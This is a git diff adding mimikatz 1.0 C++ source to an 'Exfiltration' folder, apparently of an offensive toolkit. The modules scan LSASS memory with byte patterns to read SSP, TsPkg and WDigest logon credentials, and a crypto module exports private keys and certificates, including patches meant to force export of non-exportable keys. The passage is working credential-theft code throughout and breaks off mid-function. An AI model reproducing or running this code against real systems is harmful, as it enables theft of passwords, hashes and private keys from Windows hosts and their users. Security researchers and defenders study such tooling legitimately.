LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; + } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + + static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + + static PLIST_ENTRY LogonSessionList; + static PULONG LogonSessionListCount; + static bool searchLogonSessionList(); + + static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); +public: + static bool getMSV(vector * arguments); + static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); +}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp new file mode 100644 index 00000000..86dab86b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp @@ -0,0 +1,92 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "ssp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; +mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; + +bool mod_mimikatz_sekurlsa_ssp::getSSP(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getSSPLogonData, wstring(L"ssp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; + BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; + LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; +#elif defined _M_IX86 + BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + pointeur= reinterpret_cast(&SspCredentialList); + +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_SspCredentialList; + taille = sizeof(PTRN_WIN5_SspCredentialList); + offset = OFFS_WIN5_SspCredentialList; + } + else + { + pattern = PTRN_WIN6_SspCredentialList; + taille = sizeof(PTRN_WIN6_SspCredentialList); + offset = OFFS_WIN6_SspCredentialList; + } +#elif defined _M_IX86 + pattern = PTRN_WALL_SspCredentialList; + taille = sizeof(PTRN_WALL_SspCredentialList); + offset = OFFS_WALL_SspCredentialList; +#endif + if(HMODULE monModule = LoadLibrary(L"msv1_0")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); + *pointeur += pModMSV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (SspCredentialList != NULL); +} + +bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchSSPEntryList()) + { + KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; + DWORD monNb = 0; + if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + while(mesCredentials.Flink != SspCredentialList) + { + if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) + { + mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); + monNb++; + } + } + } + } + } + else (*outputStream) << L"n.a. (SSP KO)"; + + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h new file mode 100644 index 00000000..d2d53960 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_ssp { + +private: + typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; + ULONG References; + ULONG CredentialReferences; + LUID LogonId; + ULONG unk0; + ULONG unk1; + ULONG unk2; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; + + static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; + static bool searchSSPEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; + static bool getSSP(vector * arguments); + static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp new file mode 100644 index 00000000..71e3751d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp @@ -0,0 +1,94 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "tspkg.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast(NULL); + +bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getTsPkgLogonData, wstring(L"tspkg"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); +#elif defined _M_IX86 + BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; + LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); + + BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; + LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast(&TSGlobalCredTable); +#ifdef _M_X64 + pattern = PTRN_WALL_TSGlobalCredTable; + taille = sizeof(PTRN_WALL_TSGlobalCredTable); + offset = OFFS_WALL_TSGlobalCredTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_TSGlobalCredTable; + taille = sizeof(PTRN_WNO8_TSGlobalCredTable); + offset = OFFS_WNO8_TSGlobalCredTable; + } + else + { + pattern = PTRN_WIN8_TSGlobalCredTable; + taille = sizeof(PTRN_WIN8_TSGlobalCredTable); + offset = OFFS_WIN8_TSGlobalCredTable; + } +#endif + + if(HMODULE monModule = LoadLibrary(L"tspkg")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"tspkg", pattern, taille, offset); + *pointeur += pModTSPKG->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModTSPKG && TSGlobalCredTable); +} + +bool WINAPI mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchTSPKGFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_TS_CREDENTIAL)], * monBuffC = new BYTE[sizeof(KIWI_TS_PRIMARY_CREDENTIAL)]; + if(PKIWI_TS_CREDENTIAL pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(TSGlobalCredTable, FIELD_OFFSET(KIWI_TS_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_TS_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast(monBuffP); + if(pLogSession->pTsPrimary) + { + if(mod_memory::readMemory(pLogSession->pTsPrimary, monBuffC, sizeof(KIWI_TS_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (tspkg KO)"; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h new file mode 100644 index 00000000..35a3b15a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.h @@ -0,0 +1,37 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_tspkg { + +private: + typedef struct _KIWI_TS_PRIMARY_CREDENTIAL { + PVOID unk0; // lock ? + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_TS_PRIMARY_CREDENTIAL, *PKIWI_TS_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_TS_CREDENTIAL { + #ifdef _M_X64 + BYTE unk0[108]; + #elif defined _M_IX86 + BYTE unk0[64]; + #endif + LUID LocallyUniqueIdentifier; + PVOID unk1; + PVOID unk2; + PKIWI_TS_PRIMARY_CREDENTIAL pTsPrimary; + } KIWI_TS_CREDENTIAL, *PKIWI_TS_CREDENTIAL; + + static PRTL_AVL_TABLE TSGlobalCredTable; + static bool searchTSPKGFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModTSPKG; + static bool getTsPkg(vector * arguments); + static bool WINAPI getTsPkgLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp new file mode 100644 index 00000000..b6e3062d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.cpp @@ -0,0 +1,91 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "wdigest.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_wdigest::pModWDIGEST = NULL; +mod_mimikatz_sekurlsa_wdigest::PKIWI_WDIGEST_LIST_ENTRY mod_mimikatz_sekurlsa_wdigest::l_LogSessList = NULL; +long mod_mimikatz_sekurlsa_wdigest::offsetWDigestPrimary = 0; + +bool mod_mimikatz_sekurlsa_wdigest::getWDigest(vector * arguments) +{ + vector> monProvider; + monProvider.push_back(make_pair(getWDigestLogonData, wstring(L"wdigest"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_wdigest::searchWDigestEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x89, 0x5b, 0x08, 0x48, 0x8d}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x4b, 0x08, 0x49, 0x8b, 0x43, 0x08, 0x4c, 0x39}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x4c, 0x89, 0x1b, 0x48, 0x89, 0x43, 0x08, 0x49, 0x39, 0x43, 0x08, 0x0f, 0x85}; +#elif defined _M_IX86 + BYTE PTRN_WNO8_InsertInLogSess[]= {0x8b, 0x45, 0x08, 0x89, 0x08, 0xc7, 0x40, 0x04}; + BYTE PTRN_W8CP_InsertInLogSess[]= {0x89, 0x0e, 0x89, 0x56, 0x04, 0x8b, 0x41, 0x04}; + BYTE PTRN_W8RP_InsertInLogSess[]= {0x89, 0x06, 0x89, 0x4e, 0x04, 0x39, 0x48, 0x04}; +#endif + LONG OFFS_WALL_InsertInLogSess = -4; + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModWDIGEST && !l_LogSessList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast(&l_LogSessList); + offset = OFFS_WALL_InsertInLogSess; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_InsertInLogSess; + taille = sizeof(PTRN_WNO8_InsertInLogSess); + } + else if(mod_system::GLOB_Version.dwBuildNumber < 8400) + { + pattern = PTRN_W8CP_InsertInLogSess; + taille = sizeof(PTRN_W8CP_InsertInLogSess); + } + else + { + pattern = PTRN_W8RP_InsertInLogSess; + taille = sizeof(PTRN_W8RP_InsertInLogSess); + } + + if(HMODULE monModule = LoadLibrary(L"wdigest")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"wdigest", pattern, taille, offset, "SpInstanceInit", false); + *pointeur += pModWDIGEST->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + +#ifdef _M_X64 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 48) : 48); +#elif defined _M_IX86 + offsetWDigestPrimary = ((mod_system::GLOB_Version.dwMajorVersion < 6) ? ((mod_system::GLOB_Version.dwMinorVersion < 2) ? 36 : 28) : 32); +#endif + } + return (pModWDIGEST && l_LogSessList); +} + +bool WINAPI mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchWDigestEntryList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL); + BYTE * monBuff = new BYTE[taille]; + if(PLIST_ENTRY pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(l_LogSessList), FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), logId)) + if( mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = reinterpret_cast(reinterpret_cast(monBuff) + offsetWDigestPrimary); + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (wdigest KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h new file mode 100644 index 00000000..9db3c8b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/wdigest.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_wdigest { + +private: + typedef struct _KIWI_WDIGEST_LIST_ENTRY { + struct _KIWI_WDIGEST_LIST_ENTRY *Flink; + struct _KIWI_WDIGEST_LIST_ENTRY *Blink; + DWORD UsageCount; + struct _KIWI_WDIGEST_LIST_ENTRY *This; + LUID LocallyUniqueIdentifier; + } KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY; + + static PKIWI_WDIGEST_LIST_ENTRY l_LogSessList; + static long offsetWDigestPrimary; + static bool searchWDigestEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModWDIGEST; + static bool getWDigest(vector * arguments); + static bool WINAPI getWDigestLogonData(__in PLUID logId, __in bool justSecurity); +}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp new file mode 100644 index 00000000..a869cd86 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_crypto.cpp @@ -0,0 +1,594 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_crypto.h" +#include "..\global.h" + +vector mod_mimikatz_crypto::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listProviders, L"listProviders", L"Liste les providers installs)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listStores, L"listStores", L"Liste les magasins systme")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listCertificates, L"listCertificates", L"Liste les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(listKeys, L"listKeys", L"Liste les conteneurs de cls")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportCertificates, L"exportCertificates", L"Exporte les certificats")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exportKeys, L"exportKeys", L"Exporte les cls")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcng, L"patchcng", L"[experimental] Patch le gestionnaire de cls pour l\'export de cls non exportable")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(patchcapi, L"patchcapi", L"[experimental] Patch la CryptoAPI courante pour l\'export de cls non exportable")); + return monVector; +} + +bool mod_mimikatz_crypto::listProviders(vector * arguments) +{ + vector * monVectorProviders = new vector(); + /* CryptoAPI */ + (*outputStream) << L"Providers CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorProviders(monVectorProviders)) + for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptoapi::getVectorProviders : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorProviders->clear(); + + (*outputStream) << L"Providers CNG :" << endl; + if(mod_cryptong::getVectorProviders(monVectorProviders)) + for(vector::iterator monProvider = monVectorProviders->begin(); monProvider != monVectorProviders->end(); monProvider++) + (*outputStream) << L'\t' << *monProvider << endl; + else (*outputStream) << L"mod_cryptong::getVectorProviders : " << mod_system::getWinError() << endl; + } + delete monVectorProviders; + return true; +} + +bool mod_mimikatz_crypto::listKeys(vector * arguments) +{ + listAndOrExportKeys(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportKeys(vector * arguments) +{ + listAndOrExportKeys(arguments, true); + return true; +} + +bool mod_mimikatz_crypto::listStores(vector * arguments) +{ + wstring monEmplacement = (arguments->empty() ? L"CERT_SYSTEM_STORE_CURRENT_USER" : arguments->front()); + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << endl; + vector * mesStores = new vector(); + if(mod_crypto::getVectorSystemStores(mesStores, systemStore)) + for(vector::iterator monStore = mesStores->begin(); monStore != mesStores->end(); monStore++) + (*outputStream) << L'\t' << *monStore << endl; + else (*outputStream) << L"mod_crypto::getListSystemStores : " << mod_system::getWinError() << endl; + delete mesStores; + } + else (*outputStream) << L" introuvable !" << endl; + return true; +} + +bool mod_mimikatz_crypto::listCertificates(vector * arguments) +{ + listAndOrExportCertificates(arguments, false); + return true; +} + +bool mod_mimikatz_crypto::exportCertificates(vector * arguments) +{ + listAndOrExportCertificates(arguments, true); + return true; +} + +void mod_mimikatz_crypto::listAndOrExportKeys(vector * arguments, bool exportKeys) +{ + bool isMachine = false; + DWORD providerType = PROV_RSA_FULL; + wstring provider = MS_ENHANCED_PROV; + + switch (arguments->size()) + { + case 1: + isMachine = true; + case 0: + break; + case 3: + isMachine = true; + arguments->erase(arguments->begin()); + case 2: + mod_cryptoapi::getProviderString(arguments->front(), &provider); + mod_cryptoapi::getProviderTypeFromString(arguments->back(), &providerType); + break; + default : + (*outputStream) << L"Erreur d\'arguments, attendu : [machine] [provider providerType]" << endl; + return; + } + + + wstring type = (isMachine ? L"machine" : L"user"); + + vector * monVectorKeys = new vector(); + + /* CryptoAPI */ + (*outputStream) << L"[" << type << L"] Cls CryptoAPI :" << endl; + if(mod_cryptoapi::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + HCRYPTPROV hCryptKeyProv = NULL; + if(CryptAcquireContext(&hCryptKeyProv, monContainer->c_str(), provider.c_str(), providerType, NULL | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + HCRYPTKEY maCle = NULL; + for(DWORD ks = AT_KEYEXCHANGE; (ks <= AT_SIGNATURE) && !maCle; ks++) + { + if(CryptGetUserKey(hCryptKeyProv, ks, &maCle)) + { + (*outputStream) << L"\t\tType : " << mod_crypto::KeyTypeToString(ks) << endl; + DWORD param = 0, taille = sizeof(param); + if(CryptGetKeyParam(maCle, KP_PERMISSIONS, reinterpret_cast(¶m), &taille, NULL)) + (*outputStream) << L"\t\tExportabilit : " << (param & CRYPT_EXPORT ? L"OUI" : L"NON") << endl; + if(CryptGetKeyParam(maCle, KP_KEYLEN, reinterpret_cast(¶m), &taille, NULL)) + (*outputStream) << L"\t\tTaille cl : " << param << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + wstring containerName = *monContainer; + sanitizeFileName(&containerName); + + monBuff << L"capi_" << type << L'_' << i << L'_' << containerName << L".pvk"; + + if(mod_cryptoapi::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str(), ks); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptoapi::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + } + } + + if(maCle) + CryptDestroyKey(maCle); + else + (*outputStream) << L"\t\t* Erreur de cl ; " << mod_system::getWinError() << endl; + + + CryptReleaseContext(hCryptKeyProv, 0); + } + else (*outputStream) << L"\t\t* Erreur d\'acquisition de la cl ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_cryptoapi::getVectorContainers : " << mod_system::getWinError() << endl; + + /* CryptoNG */ + if(mod_cryptong::isNcrypt) + { + (*outputStream) << endl; + monVectorKeys->clear(); + + (*outputStream) << L"[" << type << L"] Cls CNG :" << endl; + if(mod_cryptong::getVectorContainers(monVectorKeys, isMachine)) + { + DWORD i; + vector::iterator monContainer; + for(i = 0, monContainer = monVectorKeys->begin(); monContainer != monVectorKeys->end(); monContainer++, i++) + { + (*outputStream) << L"\t - " << *monContainer << endl; + + NCRYPT_KEY_HANDLE maCle; + if(mod_cryptong::getHKeyFromName(*monContainer, &maCle, isMachine)) + { + bool exportable = false; + DWORD size = 0; + + if(mod_cryptong::isKeyExportable(&maCle, &exportable)) + (*outputStream) << L"\t\tExportabilit : " << (exportable ? L"OUI" : L"NON") << endl; + if(mod_cryptong::getKeySize(&maCle, &size)) + (*outputStream) << L"\t\tTaille cl : " << size << endl; + + if(exportKeys) + { + bool reussite = false; + BYTE * monExport = NULL; + DWORD tailleExport = 0; + + wstringstream monBuff; + monBuff << L"cng_" << type << L'_' << i << L'_' << *monContainer << L".pvk"; + + if(mod_cryptong::getPrivateKey(maCle, &monExport, &tailleExport)) + { + reussite = mod_crypto::PrivateKeyBlobToPVK(monExport, tailleExport, monBuff.str()); + delete[] monExport; + } + + (*outputStream) << L"\t\tExport priv dans \'" << monBuff.str() << L"\' : " << (reussite ? L"OK" : L"KO") << endl; + if(!reussite) + { + (*outputStream) << L"\t\t\tmod_cryptong::getPrivateKey/PrivateKeyBlobToPVK : " << mod_system::getWinError() << endl; + } + } + mod_cryptong::NCryptFreeObject(maCle); + } + } + } + else (*outputStream) << L"mod_cryptong::getVectorContainers : " << mod_system::getWinError() << endl; + } + + delete monVectorKeys; +} + + +void mod_mimikatz_crypto::listAndOrExportCertificates(vector * arguments, bool exportCert) +{ + wstring monEmplacement = L"CERT_SYSTEM_STORE_CURRENT_USER"; + wstring monStore = L"My"; + + if(arguments->size() == 1) + { + monEmplacement = arguments->front(); + } + else if(arguments->size() == 2) + { + monEmplacement = arguments->front(); + monStore = arguments->back(); + } + + (*outputStream) << L"Emplacement : \'" << monEmplacement << L'\''; + + DWORD systemStore; + if(mod_crypto::getSystemStoreFromString(monEmplacement, &systemStore)) + { + (*outputStream) << L"\\" << monStore << endl; + if(HCERTSTORE hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, NULL, NULL, systemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, monStore.c_str())) + { + DWORD i; + PCCERT_CONTEXT pCertContext; + for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) + { + wstring * certName = new wstring(); + bool reussite = false; + + if(!mod_crypto::getCertNameFromCertCTX(pCertContext, certName)) + certName->assign(L"[empty]"); + + (*outputStream) << L"\t - " << *certName << endl;; + sanitizeFileName(certName); + + wstringstream monBuff; + monBuff << monEmplacement << L'_' << monStore << L'_' << i << L'_' << *certName << L'.'; + + mod_crypto::KIWI_KEY_PROV_INFO keyProvInfo; + if(mod_crypto::getKiwiKeyProvInfo(pCertContext, &keyProvInfo)) + { + (*outputStream) << L"\t\tContainer Cl : " << keyProvInfo.pwszContainerName << endl; + (*outputStream) << L"\t\tProvider : " << keyProvInfo.pwszProvName << endl; + + HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv = NULL; + DWORD keySpec = 0; + BOOL aFermer = false; + + if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &aFermer)) + { + (*outputStream) << L"\t\tType : " << 